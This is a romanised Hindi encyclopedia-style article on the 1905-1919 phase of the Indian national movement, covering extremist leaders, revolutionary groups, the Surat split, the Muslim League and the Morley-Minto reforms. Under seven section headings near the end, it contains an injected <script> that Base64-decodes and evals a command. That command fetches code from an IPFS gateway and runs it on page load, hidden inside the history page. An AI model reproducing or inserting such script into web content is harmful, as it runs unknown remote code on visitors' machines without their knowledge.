भारतीय राष्ट्रीय आन्दोलन (द्वितीय चरण)

bharatiy rashtriy andolan (dvitiy charan)
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vivaran	bharatiy rashtriy andolan, bharat ki azadi ke lie sabase lambe samay tak chalane vala ek pramukh rashtriy andolan tha.
shuruat	1885 ee. mean kaangres ki sthapana ke sath hi is aandolan ki shuruat huee, jo kuchh utar-chadhavoan ke sath 15 agast, 1947 ee. tak anavarat roop se jari raha.
pramukh sangathan evan parti	garam dal, naram dal, gadar parti, azad hiand fauj, bharatiy rashtriy kaangres, iandiyan homarool lig, muslim lig
any pramukh aandolan	asahayog aandolan, bharat chho do andolan, savinay avajna andolan, svadeshi andolan, namak satyagrah
parinam	bharat svatantr rashtr ghoshit hua.
sanbandhit lekh	gaandhi yug, r aaulet ekt, thiyos aauphikal sosayati, varnakyoolar pres ekt, indiyan kauansil ekt, hartog samiti, hantar samiti, batalar samiti riport, neharoo samiti, golamez sammelan
any janakari	bharat ke rashtriy andolan ko tin bhagoan mean baanta ja sakata hai- pratham charan dvitiy charan tritiy charan.

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andolan ka dvitiy charan (1905-1919 ee.)

bharatiy rashtriy andolan ke is charan mean ek or ugravadi to doosari or krantikari andolan chalaye gaye. donoan hi ek matr uddeshy, british rajy se mukti evan poorn svarajy ki prapti, ke lie l d rahe the. ek taraf ugravadi vicharadhara ke log 'bahishkar andolan' ko adhar banakar l d rahe the to doosari or krantikari vicharadhara ke log bamoan aur bandookoan ke upayog se svatantrata prapt karana chahate the. jahaan ek or ugravadi shantipoorn sakriy rajanitik andolanoan mean vishvas karate the, vahian kratikari aangrezoan ko bharat se bhagane mean shakti evan hiansa ke upayog mean vishvas karate the.

chitr:Blockquote-open.gif bharat mean ugr rashtravad ke uday mean mahattvapoorn bhoomika ka nirvah bal gangadhar tilak, lala lajapat ray evan vipin chandr pal ne kiya. in netaoan ke yogy netritv mean hi yah andolan phala-phoola. tilak manate the ki "achchhi videshi sarakar ki apeksha hin svadeshi sarakar shreshth hai." tilak ne 'ganapati utsav' evan 'shivaji utsav' ko shuroo karavakar bharatiyoan mean rashtriy chetana ke prasar ki disha mean prayas kiya. chitr:Blockquote-close.gif

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ugravadita ke karan

• british sarakar dvara lagatar kaangres ki maango ke prati apanayi jane vali upekshapoorn niti ne kaangres ke yuva netaoan, jaise- bal gangadhar tilak, lala lajapat ray evan vipin chandr pal ko andar tak andolit kar diya. in yuva netaoan ne udaravadi netaoan ki rajanitik bhikshavriti mean koee vishvas nahian jataya. inhoanne sarakar se apani maange manavane ke lie kathor qadam uthane ki avashyakata par bal diya.
• hindoo dharm ke punarutthan ne bhi ugravad ke uday mean mahattvapoorn yogadan diya. kaangres ke udaravadi netaoan ne pashchimi sabhyata evan sanskriti mean apani poorn nishtha jataee, parantu doosari or svami vivekanand, dayanand sarasvati, tilak, lala lajapat ray, aravind ghosh evan vipinachandr pal jaise log bhi the, jinhoanne apani sabhyata evan sanskriti ko pashchaty sanskriti se shreshth pramanit kiya. aravind ghosh ne kaha ki "svatantrata hamare jivan ka uddeshy hai aur hindoo dharm hi hamare is uddeshy ki poorti karega. rashtriyata ek dharm hai aur vah eeshvar ki den hai. aini besent ne kaha ki "sari hindoo pranali pashchimi sabhyata se badhakar hai."
• 1876 ee. se 1900 ee. ke madhy bharat lagabhag 18 bar akal ki chapet mean a chuka tha, jisamean dhan-jan ki bhishan hani huee. 1897-1898 ee. mean bambee mean pleg ki bimari ki chapet mean akar lagabhag 1 lakh, 73 hazar log kal kavalit ho gaye. sarakar ne is disha mean aisa koee prayas nahian kiya, jisase is bimari ko roka ja sakata, balki ulte pleg ki jaanch ke bahane bharatiyoan ke gharoan mean unaki bahan-betiyoan ke sath amanaviy v barbarata ka vyavahar kiya gaya. tilak ne sarakar ki is kali karatoot ki apane patr 'kesari' mean katu alochana ki, jisake karan unhean 18 mahine tak sakht pahare mean jel mean rahana p da. pleg ke samay ki jyadatiyoan se prabhavit hokar poona ke 'chapekar bandhuoan' (damodar evan balkrishna) ne pleg adhikari raind evan amarst ko goli mar di. niahsandeh in ghatanaoan ne ugr rashtravad ko protsahan diya.
• l aaurd bekan ka yah kathan ki 'adhik daridrata aur arthik asantosh kranti ko janm deta hai', bharat ke sandarbh mean aksharashah saty hai, kyoanki aangrezoan ki tivr arthik shoshan ki nati ne sachamuch bharat mean ugravad ko janm diya. shikshit bharatiyoan ko rozagar se door rakhane ki sarakar ki niti ne bhi ugravad ko badhava diya. dadabhaee nauroji ne 'dren thyori' ka pratipadan kar aangrez rajy ki shoshan nitiyoan ka anavaran kar diya. govind ranade ki 'aise in iandiyan ikonomiks, ramesh chandr datt ki 'ikonomik histri aauf iandiya, adi pustakoan ne aangrezi rajy ki arthik nitiyoan ki dhol ki pol khol di. isane ugravad evan svarajy ki disha mean netaoan ko unmukh kiya.
• tatkalin antarrashtriy ghatanaoan ka bhi ugravadi tatvoan ko badhava dene mean mahattvapoorn yogadan raha hai. misr, faras evan turki mean saphal svatantrata sangram ne bharatiyoan ko kafi utsahit kiya. 1896 ee. mean afrika ka pichh de evan chhote rashtr abisiniya ya ithiyopiya ne itali ko parast kar diya. 1905 ee. mean japan ki roos par vijay adi se sachamuch ugr rashtravadi logoan ko badhava mila. gairet ne mana tha ki "itali ki har ne 1897 mean lokamany tilak ke andolan ko b da bal pradan kiya."
• l aaurd karzan ki pratikriyavadi nitiyoan ka bharatiy yuva man par k di pratikriya huee. karzan ke sat varsh ke shas kal ko 'shishtamandaloan, bhooloan tatha ayogoan ka kal' kaha jata hai. karzan ke pratikriyavadi karyoan, jaise- 'kalakatta k aauraporeshan adhiniyam', 'vishvidyalay adhiniyam' evan 'bangal vibhajan' ne bharat mean ugravad ko badhane mean mahattvapoorn kary kiya.
• bharat mean ugr rashtravad ke uday mean mahattvapoorn bhoomika ka nirvah bal gangadhar tilak, lala lajapat ray evan vipin chandr pal ne kiya. in netaoan ke yogy netritv mean hi yah andolan phala-phoola. tilak manate the ki "achchhi videshi sarakar ki apeksha hin svadeshi sarakar shreshth hai evan 'svarajy mera janm siddh adhikar hai aur ise mai lekar rahooanga." tilak ne 'ganapati utsav' evan 'shivaji utsav' ko shuroo karavakar bharatiyoan mean rashtriy chetana ke prasar ki disha mean prayas kiya.

lajapat ray ka kathan

lala lajapat ray kaha- "aangrez bhikhari se adhik ghrina karate haian or maian sochata hooan ki bhikhari ghrina ke patr haian bhi. atah hamara kartavy hai ki ham yah siddh kar dean ki ham bhikhari nahian hai." vipin chandr pal ne bangal ke yuvaoan ka netritv kiya. unhean bangal mean 'tilak ka senapati' mana jata hai. kuchh any mahattvapoorn karan, jaise- upaniveshoan mean bharatiyoan ke sath kiya jane vale durvyavahar, jatiy katuta evan bharatiyoan ke sath kiye jane vale abhadr vyavahar bhi bharat mean ugr rashtravad ko protsahan dene ke lie uttaradayi rahe.

rajanitik lakshy evan kary pranali

kaangres ke char pramukh netaoan- bal gangadhar tilak, lala lajapat ray, vipin chandr pal evan aravind ghosh ne bharat mean ugravadi andolan ka netritv kiya. in netaoan ne svarajy prapti ko hi apana pramukh lakshy evan uddeshy banaya. tilak ne nara diya ki 'svarajy mera janm siddh adhikar hai aur maian ise lekar rahooanga.' isake alava unhoanne kaha 'svarajy athava svashasan svadharm ke lie avashyakata hai.' svarajy ke bina n koee samajik sudhar ho sakata hai, n koee audyogik pragati, n koee upayogi shiksha aur n hi rashtriy jivan ki paripoornata. yahi ham chahate haian aur isi ke lie eeshvar ne mujhe is sansar mean paida kiya hai.' aravind ghosh ne kaha ki 'rajanitik svatantrata ek rashtr ka jivan shvas hai. bina rajanitik svatantrata ke samajik tatha shaikshinak sudhar, audyogik prasar, ek jati ki naitik unnati adi ki bat sochana moorkhata ki charam sima hai.' jahaan udaravadi dal ke neta british samrajy ke antargat 'aupaniveshik svashasan' chahate the, vahian ugravadi netaoan ka manana tha ki british shasan ka ant kar hi ham svarajy ya svashasan prapt kar sakate haian. udaravadi dal sanvaidhanik andolan mean, aangrezoan ki nyayapriyata mean, varshik sammelanoan mean, bhashan dene mean, prastav parit karane mean aur ianglaind ko shishtamadal bhejane mean vishvas karata tha. ugravadi neta ahiansatmak pratirodh, samoohik andolan evan atm balidan mean vishvas karate the. sar henari k aautan ne kaha ki 'ugravadi bharat mean sab prakar se mukt aur svatantr rashtriy shasan pranali ki sthapana karana chahate the.'

bahishkar andolan

apani maangoan ko manavane ke lie udaravadiyoan ki anunay-vinay ki niti ko asvikar karate hue use ugravadiyoan ne 'rajanitik bhikshavritti' ki sanjna di. tilak ne kaha ki 'hamara uddeshy atm-nirbharata hai, bhikshavritti nahian.' vipin chandr pal ne kaha ki 'yadi sarakar mere pas akar kahe ki svarajy le lo, to maian upahar ke lie dhanyavad dete hue kahooanga ki 'mai us vastu ko svikar nahian kar sakata, jisako prapt karane ki samarthy mujhamean nahian hai.' in netaoan ne videshi mal ka bahishkar, svadeshi mal ko aangikar kar rashtriy shiksha evan satyagrah ke mahatv par bal diya. udaravadi neta svadeshi evan bahishkar andolan ko bangal tak hi simit rakhana chahate the aur unaka bahishkar andolan videshi mal ke bahishkar tak hi simit tha, kintu ugravadi neta in andolanoan ka prasar desh ke vistrit kshetr mean karana chahate the. inake bahishkar andolan ki tulana gaandhi ji ke 'asahayog andolan' se ki ja sakati hai. ye bahishkar andolan ko asahayog andolan aur shaantipoorn pratirodh tak le jana chahate the. keval videshi kap de ka hi bahishkar nahian, apitu sarakari skooloan, adalatoan, upadhiyoan sarakari naukariyoan ka bhi bahishkar isamean shamil tha.

krantikari gatividhiyoan se ju de sangathan evan sansthapak

sthapana varsh	sangathan	sthan	sansthapak
1901 ee.	mitr mela	poona	savarakar bandhu
1902 ee.	anushilan samiti	midanapur	jnanendr nath bos
1904 ee.	abhinav bharat	poona	vi.di. savarakar
1905 ee.	svadesh baandhav samiti	varisal	ashvini kumar datt
1907 ee.	anushilan samiti	dhaka	varindr kumar ghosh tatha bhoopendranath datt
1907 ee.	bharat mata sosaiti	panjab	ajit sih evan amba prasad
1923 ee.	hindustan ripablik esosiaishan	kanapur	shachindranath sanyal
1926 ee.	naujavan sabha	lahaur	bhagat sianh
1928 ee.	hindustan soshalist ripablik esoesieshan	dilli	chandrashekhar azad

lala lajapat ray ne bahishkar ke sandarbh mean kaha ki 'ham logoan ne rajanivas se mukh mo dakar nirdhanoan ki jhop diyoan ki or kar liya hai.' yahi hai bahishkar andolan ki manovritti, niti evan atmik mahatv. ugravadi netao ne rashtriy shiksha ke mahatv ko svikar karate hue isi mean bharatiyoan ke hit ke nihit hone ki bat kahi. vipin chandr pal ne kaha 'rashtriy shiksha vah shiksha hai, jo rashtriy rooparekhaoan ke adhar par chalaee jay, jo rashtr ke pratinidhiyoan dvara niyantrit ho aur jo is prakar niyantrit evan sanchalit ho, jisaka uddeshy rashtriy bhagy ki prapti ho.' gurudas banarji ne bangal mean 'rashtriy shiksha parishad' evan tilak ne 'dakshin shiksha samaj' ki sthapana ki. bal gangadhar tilak ne sarakar ke sath asahayog karane ki salah di.

krantikari andolan

bam aur pistaul ki rajaniti mean vishvas rakhane vale krantikari vicharadhara ke log samajhaute ki rajaniti mean kadapi vishvas nahian karate the. unaka uddeshy tha- 'jan do ya jan lo.' bam ki rajaniti unake lie isalie avashyak ho gayi thi, kyoanki unhean apani bhavanayean vyakt karane ya azadi ke lie sangharsh karane ka aur koee rasta nazar nahian a raha tha. atankavadi shighr-atishighr parinam chahate the. ve udaravadiyoan ki prerana aur ugravadiyoan ke dhimean prabhav ki niti mean vishvas nahian karate the. matribhoomi ko videshi shasan se mukt karane ke lie ve hatya karana, daka dalana, baiank, dakaghar athava relaga diyoan ko lootana sabhi kuchh vaidh samajhate the. krantikari vicharadhara ke sarvadhik samarthak bangal mean the. unhean british hukoomat ke prati ghrina thi. ve boriya-bistar sahit aangrezoan ko bharat se bahar bhagana chahate the. 'varisal sammelan' ke bad 22 aprail, 1906 ee. ke akhabar 'yugaantar' ne likha, 'upay to svayan logoan ke pas hai. utpi dan ke is abhishap ko rokane ke lie bharat mean rahane vale 30 karo d logoan ko apane 60 karo d hath uthane hoangean, bal ko bal dvara hi roka jana chahie.' in krantikari yuvakoan ne ayarish atankavadiyoan evan roosi nihalistoan (ativadi) ke sangharsh ke tarikoan ko apanakar badanam aangrez adhikariyoan ko marane ki yojana banaee. is samay desh ke anek bhagoan mean, mukhyatah, maharashtr evan panjab mean krantikari karyavahiyaan huee.

bangal mean krantikari andolan

agar yah man liya jaye ki bangal krantikari andolan ka gadh tha, to atishyokti n hogi. bangal mean krantikari vicharadhara ko barindr kumar ghosh evan bhoopendranath (vivekanand ke bhaee) ne phailaya. 1906 ee. mean in donoan yuvakoan ne milakar 'yuangatar' namak samachar patr ka prakashan kiya. bangal mean krantikari andolan ki shuruat 'bhadralok samaj' namak samachar patr ne ki. is samachar patr ne kranti ke prachar mean sarvadhik yogadan diya. patr ke dvara logoan mean rajanitik v dharmik shiksha ka prachar kiya gaya. barindr ghosh evan bhoopendranath ke sahayog se hi 1907 ee. mean midanapur mean 'anushilan samiti' ka gathan kiya gaya, jisaka uddeshy tha 'khoon ke badale khoon'. 'anushilan samiti' ke alava bangal ki 'suhrad samiti' (mayasen sianh), 'svadeshi baandhav samiti' (varisal), 'vrati samiti' (faridapur) adi krantikari gatividhiyoan ka sanchalan karati thian. anek krantikari samachar patroan ka bhi bangal se prakashan shuru hua, jisamean brahm bandyopadhyay dvara prakashit 'sandhya', aravindr ghosh dvara sampadit 'vandemataram', bhoopendranath datt dvara sampadit 'yugantar' adi pramukh the. varisal mean pulis dvara kiye ge lathi charj par apani pratikriya vyakt karate huye 'yugantar' ne kaha ki 'aangrez sarakar ke daman ko rokane ke lie bharat ki tis karo d janata apane 60 karo d hath uthae aur takat ka mukabala takat se kiya jaye.'

kranti se ju de patr/patrikaean v sampadak

patrikaean/pustakean	sanpadak/prakashak
bhavani mandir	aravind ghosh
yugantar	barindr kumar ghosh
sandhya	brahm bandhopadhyay
vandemataramh	maidam bhikaji kama (landan mean)
bam mainual	pi.en. bapat
vandi jivan	shachindranath sanyal
bharatiy svatantrata sangram	vi.di. savarakar
bharat mata	ajit sianh

bangal ke krantikariyoan mean hemachandr qanoonagoan ka nam vishesh roop se ullekhaniy hai, jinhoanne peris mean ek roosi se sainy prashikshan prapt kar 1908 ee. mean kalakatta mean sthit 'manikatalla' mean bam banane hetu karakhana khola. 23 disambar, 1907 ee. ko dhaka ke poorv ziladhish elen ki pith par goli mari gayi. praphull chaki aur khudiram bos ne kiangsaford ko marane ke lie us par bam pheanka, parantu vah bach gaya. pulis ke ghere se bachane ke lie chaki ne svayan ko goli mar li, jabaki khudiram bos pak de gaye. antatah unhean 11 mee, 1908 ee. ko phaansi de di gayi. is ghatana ke bad pulis ne manikatalla par chhapa mara. 34 logoan ko giraphtar kiya gaya, jisamean barindr ghosh aur aravind ghosh bhi the. in sab par 'alipur sh dayantr kes' ke tahat mukadama chalaya gaya. barindr ghosh ko ajivan karavas ki saza mili tatha aravind ko uchit sakshy ke abhav mean chho d diya gaya. 1905 ee. mean barindr kumar ghosh ne 'bhavani mandir' namak kranti se sambandhit pustak likhi.

bangal ke ek aur krantikari jatindr nath mukharji the, jinhean 'bagha jatin' ke nam se bhi jana jata tha. 9 sitambar, 1915 ko balasor mean pulis dvara muthabhe d mean mare ge. bangal ke ek mahanh krantikari rasabihari bos the, jinhoanne kalakatta se dilli rajadhani parivartan ke samay l aaurd hardiang par bam pheanka tha. giraphtari se bachane ke lie rasabihari bos japan chale gaye the. avadh bihari, amirachandr, lal mukuand, basant kumar ko giraphtar kar in par 'dilli sh dayantr' ke tahat mukadama chalaya gaya. bangal mean badh rahi krantikariyoan ki gatividhiyoan ke daman hetu sarakar ne 1900 ee. mean 'visphotak padarth adhiniyam' tatha 1908 ee. mean 'samachar patr adhiniyam' ka sahara lekar kranti ko kuchalane ka prayas kiya. sarakar ke daman chakr ke chalate aravind ghosh krantikari kriya-kalapoan ko chho dakar sannyasi ho ge tatha paandicheri mean apana ashram sthapit kar liya. brahm bandyopadhyay, jinhoanne sarvapratham ravindranath taigor ko 'gurudev' kahakar sambodhit kiya tha, ramkrishna math mean svami ji ban ge.

panjab mean krantikari andolan

panjab mean 1906 ee. ke prarambh mean hi krantikari andolan phail gaya tha. panjab sarakar ke ek 'upaniveshikaran vidheyak' ke karan kisanoan mean vyapak asantosh vyapt tha. isaka uddeshy chinab nadi ke kshetr mean bhoomi ki chakabandi ko hatotsahit karana tatha sampatti ke vibhajan ke adhikaroan mean hastakshep karana tha. isi samay sarakar ne jal kar mean vriddhi karane ka phaisala kiya, jisase janata mean asantosh phail gaya. is toofan ko uthata dekhakar sarakar bechain ho gee. usane ravalapindi mean andolan ko kuchalane ki drishti se sarvajanik sabhaoan par rok laga di tatha lala lajapat ray v ajit sianh ko giraphtar kar mandale jel bhej diya gaya. 1915 ee. mean panjab mean ek sangathit andolan ki rooparekha taiyar ki gee, jisamean nishchit kiya gaya ki 21 faravari, 1915 ko sampoorn uttar bharat mean ek sath kranti ka bigul bajaya jay. yah yojana sarakar ko pata chal gee. anek neta pak de gaye tatha in par 'lahaur sh dayantr' ka mukadama chalaya gaya. in netaoan mean prithvi sianh, paramanand, karatar sianh, vinayak damodar savarakar, jagath sianh, adi deshabhakt the. amerika mean 'gadar parti' ki sthapana ke bad panjab gadar parti ki gatividhiyoan ka pramukh kendr ban gaya tha. ajit sianh ne lahaur mean 'aanjuman-e-mohibban-e-vatan' namak sanstha ki sthapana ki tatha 'bharat mata' nam se akhabar nikala.

maharashtr mean krantikari andolan

maharashtr mean krantikari andolan ko ubharane ka shrey lokamany tilak ke patr 'kesari' ko jata hai. tilak ne 1893 ee. 'shivaji utsav' manana arambh kiya. isaka uddeshy dharmik kam rajanitik adhik tha. maharashtr mean 1893-1897 ee. ke bich pleg phaila v aangrez sarakar ne maraham lagane ke bajay daman kary kiya. atah 22 joon, 1897 ee. ko pleg kamishnar amarst ki goli marakar hatya kar di gee. is sambandh mean damodar chapekar ko pak dakar mrityu dand de diya gaya. tilak ko bhi vidroh bh dakane ke arop mean 18 mah ka karavas diya gaya. 1908 ee. mean bambee praant ke char deshi bhasha ke samachar patroan par sarakar ne kahar dhaya. 24 joon, 1908 ee. ko tilak ko phir giraphtar kiya gaya aur 'kesari' mean prakashit lekhoan ke adhar par pahale to un par rajadroh ka mukadama chalaya gaya, phir 6 varsh ki saza de di gee. bambee mean isake virodh mean mazadooroan ne jabaradast h datal ki, jo chhah dinoan tak chali. maharashtr mean nasik bhi krantikari andolan ka gadh tha. vinayak damodar savarakar ne 1901 ee. mean nasik mean 'mitramela' namak sanstha ki sthapana ki, jo ki mejini ke 'tarun itali' ke namoone par 'abhinav bharat' mean parivartit ho gayi. is sanstha ke mukhy sadasy anant lakshman karakare ne nasik ke nyayadhish jaikshan ki goli marakar hatya kar di. is hatyakand se ju de logoan par 'nasik sh dayantr kes' ke tahat mukadama chalaya gaya, jisamean savarakar ke bhaee ganesh shamil the; jinhean ajivan karavas ki saza mili. maharashtr se mahattvapoorn krantikari patr 'kal' ka sampadan kiya gaya.

videsho mean krantikari andolan

videshoan mean bharatiy krantikari sangathan

sthapana varsh	sangathan	sansthapak	desh
1905 ee.	indiya haus	shyamaji krishnaa varma	landan (ianglaind)
1906 ee.	abhinav bharat	vi.di. savarakar	landan (iangalaind)
1907 ee.	indiyan indipeandens lig	tarakanath das	amerika
1913 ee.	gadar parti	lala haradayal, ramachandr v barakatulla	sain fraansisko
1914 ee.	indiyan iandipeandens lig	lala haradayal v barindranath chattopadhyay	barlin (jarmani)
1915 ee.	indiyan iandipeandens lig v svatantr bharat ki asthaee sarakar	raja mahendr pratap	qabul (afaganistan)
1942 ee.	indiyan indipeandens lig	ras bihari bos	tokyo (japan)
1942 ee.	azad hind phauj	subhashachandr bos	siangapur

aangrezi prashasan ke changul se bachane ke lie krantikariyoan ne videshoan mean rahakar bharat ki svatantrata ke lie l daee l di. pratham charan ke krantikari andolan ke samay hi qabul (afaganistan) mean raja mahendr pratap ne jarmani ke sahayog se disambar, 1915 mean 'aantarim bharat sarakar' ki sthapana ki. mantrimandal ke any sahayogi sadasyo mean maulana abdullah, maulana bashir, si. pillai, shamasher sianh, d aauktar mathura sianh, khuda baksh aur muhammad ali pramukh the. barakatullah asthaee sarakar mean pradhanamantri the. isi dauran raja mahendr pratap apani sarakar ke samarthan ke lie lenin se mile the. faravari, 1905 mean bharat se bahar landan ki dharati par shyamaji krishna varma ke dvara 'indiyan homarool sosayati' ki sthapana ki gee. ise 'indiya haus' ki sanjna di jati hai. abdullah suharavardi isake upaghyaksh the. 'indiyan homarool sosayati' ne 'indiyan sosialajist' namak patrita bhi nikali. shighr hi 'indiya haus' landan mean nivas karane vale bharatiyoan ke lie andolan ka kendr ban gayi. is sanstha ke any sadasy the- lala haradayal, madan lal dhiangara, vinayak damodar savarakar adi.

'indiya haus' ke sadasy madan lal dhiangara ne 1 julaee, 1909 ko bharat sachiv ke rajanitik salahakar viliyam hant karjan vaili ki gali marakar hatya di. dhiangara ko giraphtar kar phaansi de di gayi. shyamaji krishna varma ki ek any sahayogi maidam bhikaji kama thian. yah maharashtr ke parasi parivar se sambandhit thian. inhoanne 1902 mean bharat chho d diya tatha yoorop ke vibhinn deshoan mean bharat mean aangrezi shasan ke viruddh prachar kiya. inhoanne 1907 mean stutagart (jarmani) mean antarrashtriy samajavadi kaangres mean bharat ki or se bhag liya. yahian unhoanne bharat ka rashtriy tiranga dhvaj phaharaya. maidam kama ko 'madar aauf indiyan rivolyooshan' kaha jata hai. 1908 ee. mean 'indiya haus' ne 1857 ee. ki kraanti ki svarn jayanti manane ka nishchay kiya. savarakar ne is vidroh ko 'bharatiy svatantrata sangram' ki sanjna di. yah vichar unhoanne apani pustak 'd iandiyan var aauf d iandipeandeans' mean vyakt kiya. 'd grev varnig' namak pustak ki pratiyaan bhi landan mean baanti gayian.

1913 ee. mean anek bharatiy logoan ne lala haradayal ke netritv mean sain fraansisko (amerika) mean 'gadar parti' ki sthapana ki. isake adhyaksh sohan sianh the. lala haradayal is parti ke prachar vibhag ke sachiv the. is sangathan ne 'yugaantar pres' ki sthapana kar 1 navambar, 1913 se 'gadar' namak saptahik (bad mean masik) patr ka sampadan kiya. yah samachar patr hindi, gurumukhi, urdoo evan gujarati bhasha mean nikala jata tha. gadar samachar patr mean chhapane vali kavitaoan ko 'gadar ki gooanj' shirshak se prakashit kiya jata tha. is dal ke any neta the- ramachandr, barakatulla, ras bihari bos, raja mahendr pratap, abdul rahaman evan maidam kama adi. pratham vishv yuddh mean jarmani evan briten ke amane-samane hone ke karan jarmani ne bharatiy krantikariyoan koan arthik evan astr-shastr ka sahayog dene ke lie ek 'iandiyan iandipeandeans kameti' ki sthapana ki. maulavi ubedulla siandhi dvara kuchh patr mahamood hasan ko pili silk par farasi bhasha mean likha gaya. bad mean patroan ke pak de jane par ise 'silk pepar sh dayantr' ke nam se jana gaya.

kalakatta adhiveshan (1906 ee.)

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

kaangres ka 'kalakatta adhiveshan' 1906 ee. mean kalakatta (vartaman kolakata) mean sampann hua. is adhiveshan mean naram dal tatha garam dal ke bich jo matabhed the, vah ubharakar samane a gaye. in matabhedoan ke karan agale hi varsh 1907 ee. ke 'soorat adhiveshan' mean kaangres ke do tuk de ho gaye aur ab kaangres par naramapanthiyoan ka qabza ho gaya.

soorat adhiveshan (1907 ee.)

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

kaangres ka 'soorat adhiveshan' 1907 ee. mean soorat mean sampann hua. aitihasik drishti se yah adhiveshan ati mahattvapoorn tha. garam dal tatha naram dal ke apasi matabhedoan ke karan is adhiveshan mean kaangres do bhagoan mean vibhajit ho gee. isake bad 1916 ee. ke 'lakhanoo adhiveshan' mean pun: donoan daloan ka apas mean vilay hua.

muslim lig ki sthapana

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

1 aktoobar, 1906 ee. ko ech.ech. aga khaan ke netritv mean muslimoan ka ek dal vayasaray l aaurd minto se shimala mean mila. aligadh k aaulej ke priansapal archabold is pratinidhimandal ke janak the. is pratinidhimandal ne vayasaray se anurodh kiya ki prantiy, kendriy v sthaniy nirvachan hetu muslimoan ke lie prithakh sampradayik nirvachan ki vyavastha ki jay. is shishtamandal ko bhejane ke pichhe aangrez uchch adhikariyoan ka hath tha. minto ne inaki maango ka poorn samarthan kiya. jisake phalasvaroop muslim netaoan ne dhaka ke navab salimulla ke netritv mean 30 disambar, 1906 ee. ko dhaka mean 'muslim lig' ki sthapana ki.

marle minto sudhar

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

jab l aaurd minto bharat ka gavarnar bana, tab us samay samoocha bharat rajanitik ashanti ki taraf dhire-dhire badh raha tha. l aaurd minto ne is ashanti ke bare mean svayan likha tha ki "oopar se shaant dikhane vali satah ke niche rajanitik ashanti ka gubar chhipa tha aur unamean se bahut kuchh nitaant nyayochit tha." tatkalin bharat sachiv j aaun marle evan vayasaray l aaurd minto ne sudharoan ka 'bharatiy parishad ekt, 1909' parit kiya, jise 'marle minto sudhar' kaha gaya. 25 mee ko vidheyak parit hua tatha 15 navambar, 1909 ko rajakiy anumodan ke bad lagoo ho gaya. is ekt ke antargat keandriy tatha prantiy vidhanamandalo ke akar evan unaki shakti mean vriddhi ki gee.

rajadroh sabha adhiniyam

marle minto sudharoan par k di pratikriya vyakt karate hue ugravadi sangathanoan ne apani krantikari gatividhayoan ko kafi tej kar diya, jisake parinamasvaroop british sarakar ne 1911 ee. mean 'rajadroh sabha adhiniyam' parit karake ugravadi dal ke neta lala lajapat ray evan ajit sianh ko giraphtar kar andolan ko kuchalane ka prayas kiya.

dilli darabar

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

1911 ee. mean hi dilli mean ek bhavy darabar ka ayojan ianglaind ke samrat j aaurj pancham evan maharani meri ke svagat mean kiya gaya. us samay bharat ka vayasaray l aaurd hardiang tha. is darabar mean bangal vibhajan ko radd karane ki ghoshana huee aur sath hi bangali bhashi kshetroan ko milakar ek alag praant banaya gaya. rajadhani ko kalakatta se dilli sthanantarit karane ki ghoshana huee, yadyapi rajadhani ka dilli mean vidhivat sthanantaran 1912 ee. mean hi sanbhav ho saka.

kamagatamaroo prakaran

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

kamagatamaroo prakaran 1914 ee. mean ghata. is prakaran ke aantargat kanada ki sarakar ne un bharatiyoan par kanada mean ghusane par poori tarah se pratibandh laga diya, jo bharat se sidhe kanada n aya ho. kamagatamaroo jahaz, jis par 376 yatri savar the, use kanada mean ghusane nahian diya gaya. jab ye jahaz 'yakohama' pahuancha, tab usase pahale hi pratham vishvayuddh prarambh ho gaya. isake bad jab jahaz 'bajabaj' pahuancha to yatriyoan v pulis mean jh dapean hueean. isamean 18 yatri mare gaye aur jo shesh bache the, ve jel mean dal diye ge. husain rahim, sohan lal pathak evan balavant sianh ne in yatriyo ki l daee l dane ke lie 'shor kamati' (tatiy samiti) ki sthapana ki.

lakhanoo adhiveshan (1916 ee)

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

